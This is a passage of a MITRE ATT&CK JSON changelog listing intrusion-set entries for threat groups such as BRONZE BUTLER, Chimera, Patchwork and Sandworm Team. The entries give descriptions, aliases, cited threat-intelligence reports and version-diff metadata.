"version_change": "3.0 \u2192 3.1" }, { "type": "intrusion-set", "id": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-01-16 16:13:52.465000+00:00", "modified": "2021-10-12 19:42:16.869000+00:00", "name": "BRONZE BUTLER", "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) is a cyber espionage group with likely Chinese origins that has been active since at least 2008. The group primarily targets Japanese organizations, particularly those in government, biotechnology, electronics manufacturing, and industrial chemistry.(Citation: Trend Micro Daserf Nov 2017)(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)", "aliases": [ "BRONZE BUTLER", "REDBALDKNIGHT", "Tick" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0060", "external_id": "G0060" }, { "source_name": "BRONZE BUTLER", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)" }, { "source_name": "REDBALDKNIGHT", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Trend Micro Tick November 2019)" }, { "source_name": "Tick", "description": "(Citation: Trend Micro Daserf Nov 2017)(Citation: Symantec Tick Apr 2016)(Citation: Trend Micro Tick November 2019)" }, { "source_name": "Trend Micro Daserf Nov 2017", "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.", "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/" }, { "source_name": "Secureworks BRONZE BUTLER Oct 2017", "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" }, { "source_name": "Trend Micro Tick November 2019", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020.", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf" }, { "source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Trend Micro Incorporated" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 19:42:16.869000+00:00\", \"old_value\": \"2021-04-26 13:16:28.738000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3" }, { "type": "intrusion-set", "id": "intrusion-set--73a80fab-2aa3-48e0-a4d0-3a4828200aee", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-05-26 20:09:39.139000+00:00", "modified": "2021-10-12 21:46:13.007000+00:00", "name": "Blue Mockingbird", "description": "[Blue Mockingbird](https://attack.mitre.org/groups/G0108) is a cluster of observed activity involving Monero cryptocurrency-mining payloads in dynamic-link library (DLL) form on Windows systems. The earliest observed Blue Mockingbird tools were created in December 2019.(Citation: RedCanary Mockingbird May 2020)", "aliases": [ "Blue Mockingbird" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0108", "external_id": "G0108" }, { "source_name": "RedCanary Mockingbird May 2020", "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.", "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Tony Lambert, Red Canary" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 21:46:13.007000+00:00\", \"old_value\": \"2020-06-25 13:59:09.596000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1" }, { "type": "intrusion-set", "id": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-08-24 17:01:55.842000+00:00", "modified": "2021-10-12 21:53:00.909000+00:00", "name": "Chimera", "description": "[Chimera](https://attack.mitre.org/groups/G0114) is a suspected China-based threat group that has been active since at least 2018 targeting the semiconductor industry in Taiwan as well as data from the airline industry.(Citation: Cycraft Chimera April 2020)(Citation: NCC Group Chimera January 2021)", "aliases": [ "Chimera" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0114", "external_id": "G0114" }, { "source_name": "Chimera", "description": "(Citation: NCC Group Chimera January 2021) " }, { "source_name": "Cycraft Chimera April 2020", "description": "Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020.", "url": "https://cycraft.com/download/%5BTLP-White%5D20200415%20Chimera_V4.1.pdf" }, { "source_name": "NCC Group Chimera January 2021", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021.", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 21:53:00.909000+00:00\", \"old_value\": \"2021-04-26 13:45:19.750000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--8f5e8dc7-739d-4f5e-a8a1-a66e004d7063", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:46.390000+00:00", "modified": "2021-10-12 19:34:36.092000+00:00", "name": "Cleaver", "description": "[Cleaver](https://attack.mitre.org/groups/G0003) is a threat group that has been attributed to Iranian actors and is responsible for activity tracked as Operation Cleaver. (Citation: Cylance Cleaver) Strong circumstantial evidence suggests Cleaver is linked to Threat Group 2889 (TG-2889). (Citation: Dell Threat Group 2889)", "aliases": [ "Cleaver", "Threat Group 2889", "TG-2889" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0003", "external_id": "G0003" }, { "source_name": "Cleaver", "description": "(Citation: Cylance Cleaver)" }, { "source_name": "Threat Group 2889", "description": "(Citation: Dell Threat Group 2889)" }, { "source_name": "TG-2889", "description": "(Citation: Dell Threat Group 2889)" }, { "source_name": "Cylance Cleaver", "description": "Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017.", "url": "https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf" }, { "source_name": "Dell Threat Group 2889", "description": "Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.", "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.3", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 19:34:36.092000+00:00\", \"old_value\": \"2021-04-21 16:41:34.724000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", "previous_version": "1.2", "version_change": "1.2 \u2192 1.3" }, { "type": "intrusion-set", "id": "intrusion-set--dcd81c6e-ebf7-4a16-93e0-9a97fa49c88a", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2018-01-16 16:13:52.465000+00:00", "modified": "2021-05-26 12:32:58.912000+00:00", "name": "CopyKittens", "description": "[CopyKittens](https://attack.mitre.org/groups/G0052) is an Iranian cyber espionage group that has been operating since at least 2013. It has targeted countries including Israel, Saudi Arabia, Turkey, the U.S., Jordan, and Germany. The group is responsible for the campaign known as Operation Wilted Tulip. (Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)", "aliases": [ "CopyKittens" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0052", "external_id": "G0052" }, { "source_name": "CopyKittens", "description": "(Citation: ClearSky CopyKittens March 2017) (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)" }, { "source_name": "ClearSky CopyKittens March 2017", "description": "ClearSky Cyber Security. (2017, March 30). Jerusalem Post and other Israeli websites compromised by Iranian threat agent CopyKitten. Retrieved August 21, 2017.", "url": "http://www.clearskysec.com/copykitten-jpost/" }, { "source_name": "ClearSky Wilted Tulip July 2017", "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" }, { "source_name": "CopyKittens Nov 2015", "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. 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The group has targeted multiple industries and governmental entities primarily in Russia, but has also been active in the United States and throughout Europe, Asia, Africa, and the Middle East.(Citation: Unit 42 Inception November 2018)(Citation: Symantec Inception Framework March 2018)(Citation: Kaspersky Cloud Atlas December 2014)", "aliases": [ "Inception", "Inception Framework", "Cloud Atlas" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0100", "external_id": "G0100" }, { "source_name": "Inception", "description": "(Citation: Symantec Inception Framework March 2018)" }, { "source_name": "Inception Framework", "description": "(Citation: Symantec Inception Framework March 2018)" }, { "source_name": "Cloud Atlas", "description": "(Citation: Kaspersky Cloud Atlas December 2014)" }, { "source_name": "Unit 42 Inception November 2018", "description": "Lancaster, T. (2018, November 5). Inception Attackers Target Europe with Year-old Office Vulnerability. Retrieved May 8, 2020.", "url": "https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/" }, { "source_name": "Symantec Inception Framework March 2018", "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies" }, { "source_name": "Kaspersky Cloud Atlas December 2014", "description": "GReAT. (2014, December 10). Cloud Atlas: RedOctober APT is back in style. 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[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. 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T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" }, { "source_name": "NCC Group APT15 Alive and Strong", "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" }, { "source_name": "APT15 Intezer June 2018", "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. 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[Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", "aliases": [ "Mustang Panda", "TA416", "RedDelta", "BRONZE PRESIDENT" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0129", "external_id": "G0129" }, { "source_name": "Mustang Panda", "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)" }, { "source_name": "TA416", "description": "(Citation: Proofpoint TA416 November 2020)" }, { "source_name": "RedDelta", "description": "(Citation: Recorded Future REDDELTA July 2020)" }, { "source_name": "BRONZE PRESIDENT", "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)" }, { "source_name": "Crowdstrike MUSTANG PANDA June 2018", "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/" }, { "source_name": "Anomali MUSTANG PANDA October 2019", "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.", "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations" }, { "source_name": "Secureworks BRONZE PRESIDENT December 2019", "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.", "url": "https://www.secureworks.com/research/bronze-president-targets-ngos" }, { "source_name": "Proofpoint TA416 November 2020", "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.", "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader" }, { "source_name": "Recorded Future REDDELTA July 2020", "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. 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(Citation: McAfee Night Dragon)", "aliases": [ "Night Dragon" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0014", "external_id": "G0014" }, { "source_name": "Night Dragon", "description": "(Citation: McAfee Night Dragon)" }, { "source_name": "McAfee Night Dragon", "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. 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While the group has not been definitively attributed, circumstantial evidence suggests the group may be a pro-Indian or Indian entity. [Patchwork](https://attack.mitre.org/groups/G0040) has been seen targeting industries related to diplomatic and government agencies. Much of the code used by this group was copied and pasted from online forums. [Patchwork](https://attack.mitre.org/groups/G0040) was also seen operating spearphishing campaigns targeting U.S. think tank groups in March and April of 2018. (Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: TrendMicro Patchwork Dec 2017) (Citation: Volexity Patchwork June 2018)", "aliases": [ "Patchwork", "Hangover Group", "Dropping Elephant", "Chinastrats", "MONSOON", "Operation Hangover" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0040", "external_id": "G0040" }, { "source_name": "Patchwork", "description": "(Citation: Cymmetria Patchwork) (Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)" }, { "source_name": "Hangover Group", "description": "Patchwork and the Hangover Group have both been referenced as aliases for the threat group associated with Operation Monsoon.(Citation: PaloAlto Patchwork Mar 2018)(Citation: Unit 42 BackConfig May 2020)(Citation: Forcepoint Monsoon)" }, { "source_name": "Dropping Elephant", "description": "(Citation: Symantec Patchwork) (Citation: Securelist Dropping Elephant) (Citation: PaloAlto Patchwork Mar 2018) (Citation: Volexity Patchwork June 2018)" }, { "source_name": "Chinastrats", "description": "(Citation: Securelist Dropping Elephant)" }, { "source_name": "MONSOON", "description": "MONSOON is the name of an espionage campaign; we use it here to refer to the actor group behind the campaign. (Citation: Forcepoint Monsoon) (Citation: PaloAlto Patchwork Mar 2018)" }, { "source_name": "Operation Hangover", "description": "It is believed that the actors behind Patchwork are the same actors behind Operation Hangover. (Citation: Forcepoint Monsoon) (Citation: Operation Hangover May 2013)" }, { "source_name": "Cymmetria Patchwork", "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" }, { "source_name": "Symantec Patchwork", "description": "Hamada, J.. (2016, July 25). Patchwork cyberespionage group expands targets from governments to wide range of industries. Retrieved August 17, 2016.", "url": "http://www.symantec.com/connect/blogs/patchwork-cyberespionage-group-expands-targets-governments-wide-range-industries" }, { "source_name": "TrendMicro Patchwork Dec 2017", "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" }, { "source_name": "Volexity Patchwork June 2018", "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" }, { "source_name": "Securelist Dropping Elephant", "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", "url": "https://securelist.com/the-dropping-elephant-actor/75328/" }, { "source_name": "PaloAlto Patchwork Mar 2018", "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" }, { "source_name": "Unit 42 BackConfig May 2020", "description": "Hinchliffe, A. and Falcone, R. (2020, May 11). Updated BackConfig Malware Targeting Government and Military Organizations in South Asia. Retrieved June 17, 2020.", "url": "https://unit42.paloaltonetworks.com/updated-backconfig-malware-targeting-government-and-military-organizations/" }, { "source_name": "Forcepoint Monsoon", "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" }, { "source_name": "Operation Hangover May 2013", "description": "Fagerland, S., et al. (2013, May). Operation Hangover: Unveiling an Indian Cyberattack Infrastructure. Retrieved September 26, 2016.", "url": "http://enterprise-manage.norman.c.bitbit.net/resources/files/Unveiling_an_Indian_Cyberattack_Infrastructure.pdf" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.4", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 21:55:09.686000+00:00\", \"old_value\": \"2020-10-14 20:39:49.350000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", "previous_version": "1.3", "version_change": "1.3 \u2192 1.4" }, { "type": "intrusion-set", "id": "intrusion-set--fe98767f-9df8-42b9-83c9-004b1dec8647", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:50.198000+00:00", "modified": "2021-10-12 23:11:41.368000+00:00", "name": "PittyTiger", "description": "[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)", "aliases": [ "PittyTiger" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0011", "external_id": "G0011" }, { "source_name": "PittyTiger", "description": "(Citation: Bizeul 2014) (Citation: Villeneuve 2014)" }, { "source_name": "Bizeul 2014", "description": "Bizeul, D., Fontarensky, I., Mouchoux, R., Perigaud, F., Pernet, C. (2014, July 11). Eye of the Tiger. Retrieved September 29, 2015.", "url": "https://airbus-cyber-security.com/the-eye-of-the-tiger/" }, { "source_name": "Villeneuve 2014", "description": "Villeneuve, N., Homan, J. (2014, July 31). Spy of the Tiger. Retrieved September 29, 2015.", "url": "https://www.fireeye.com/blog/threat-research/2014/07/spy-of-the-tiger.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-12 23:11:41.368000+00:00\", \"old_value\": \"2020-03-30 19:14:16.259000+00:00\"}, \"root['description']\": {\"new_value\": \"[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)\", \"old_value\": \"[PittyTiger](https://attack.mitre.org/groups/G0011) is a threat group believed to operate out of China that uses multiple different types of malware to maintain command and control. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[PittyTiger](https://attack.mitre.org/groups/G0011) is a thrt1[PittyTiger](https://attack.mitre.org/groups/G0011) is a thr
>eat group believed to operate out of China that uses multipl>eat group believed to operate out of China that uses multipl
>e different types of malware to maintain command and control>e different types of malware to maintain command and control
>. (Citation: Bizeul 2014) (Citation: Villeneuve 2014)>.(Citation: Bizeul 2014)(Citation: Villeneuve 2014)
" }, { "type": "intrusion-set", "id": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:32:04.588000+00:00", "modified": "2021-10-15 21:46:19.437000+00:00", "name": "Sandworm Team", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", "aliases": [ "Sandworm Team", "ELECTRUM", "Telebots", "IRON VIKING", "BlackEnergy (Group)", "Quedagh", "VOODOO BEAR" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0034", "external_id": "G0034" }, { "source_name": "Sandworm Team", "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "ELECTRUM", "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Telebots", "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "IRON VIKING", "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "BlackEnergy (Group)", "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "Quedagh", "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "VOODOO BEAR", "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" }, { "source_name": "US District Court Indictment GRU Unit 74455 October 2020", "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", "url": "https://www.justice.gov/opa/press-release/file/1328521/download" }, { "source_name": "UK NCSC Olympic Attacks October 2020", "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" }, { "source_name": "iSIGHT Sandworm 2014", "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" }, { "source_name": "CrowdStrike VOODOO BEAR", "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" }, { "source_name": "USDOJ Sandworm Feb 2020", "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.", "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html" }, { "source_name": "NCSC Sandworm Feb 2020", "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" }, { "source_name": "US District Court Indictment GRU Oct 2018", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", "url": "https://www.justice.gov/opa/page/file/1098481/download" }, { "source_name": "F-Secure BlackEnergy 2014", "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" }, { "source_name": "InfoSecurity Sandworm Oct 2014", "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" }, { "source_name": "Dragos ELECTRUM", "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", "url": "https://www.dragos.com/resource/electrum/" }, { "source_name": "Secureworks IRON VIKING ", "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", "url": "https://www.secureworks.com/research/threat-profiles/iron-viking" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 21:46:19.437000+00:00\", \"old_value\": \"2021-04-13 13:13:09.511000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", "previous_version": "2.0", "version_change": "2.0 \u2192 2.1" }, { "type": "intrusion-set", "id": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2019-05-24 17:57:36.491000+00:00", "modified": "2021-05-26 19:54:55.580000+00:00", "name": "Silence", "description": "[Silence](https://attack.mitre.org/groups/G0091) is a financially motivated threat actor targeting financial institutions in different countries. The group was first seen in June 2016. Their main targets reside in Russia, Ukraine, Belarus, Azerbaijan, Poland and Kazakhstan. They compromised various banking systems, including the Russian Central Bank's Automated Workstation Client, ATMs, and card processing.(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) ", "aliases": [ "Silence", "WHISPER SPIDER" ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/groups/G0091", "external_id": "G0091" }, { "source_name": "Silence", "description": "(Citation: Cyber Forensicator Silence Jan 2019)(Citation: SecureList Silence Nov 2017) " }, { "source_name": "WHISPER SPIDER", "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" }, { "source_name": "Cyber Forensicator Silence Jan 2019", "description": "Skulkin, O.. (2019, January 20). Silence: Dissecting Malicious CHM Files and Performing Forensic Analysis. Retrieved May 24, 2019.", "url": "https://cyberforensicator.com/2019/01/20/silence-dissecting-malicious-chm-files-and-performing-forensic-analysis/" }, { "source_name": "SecureList 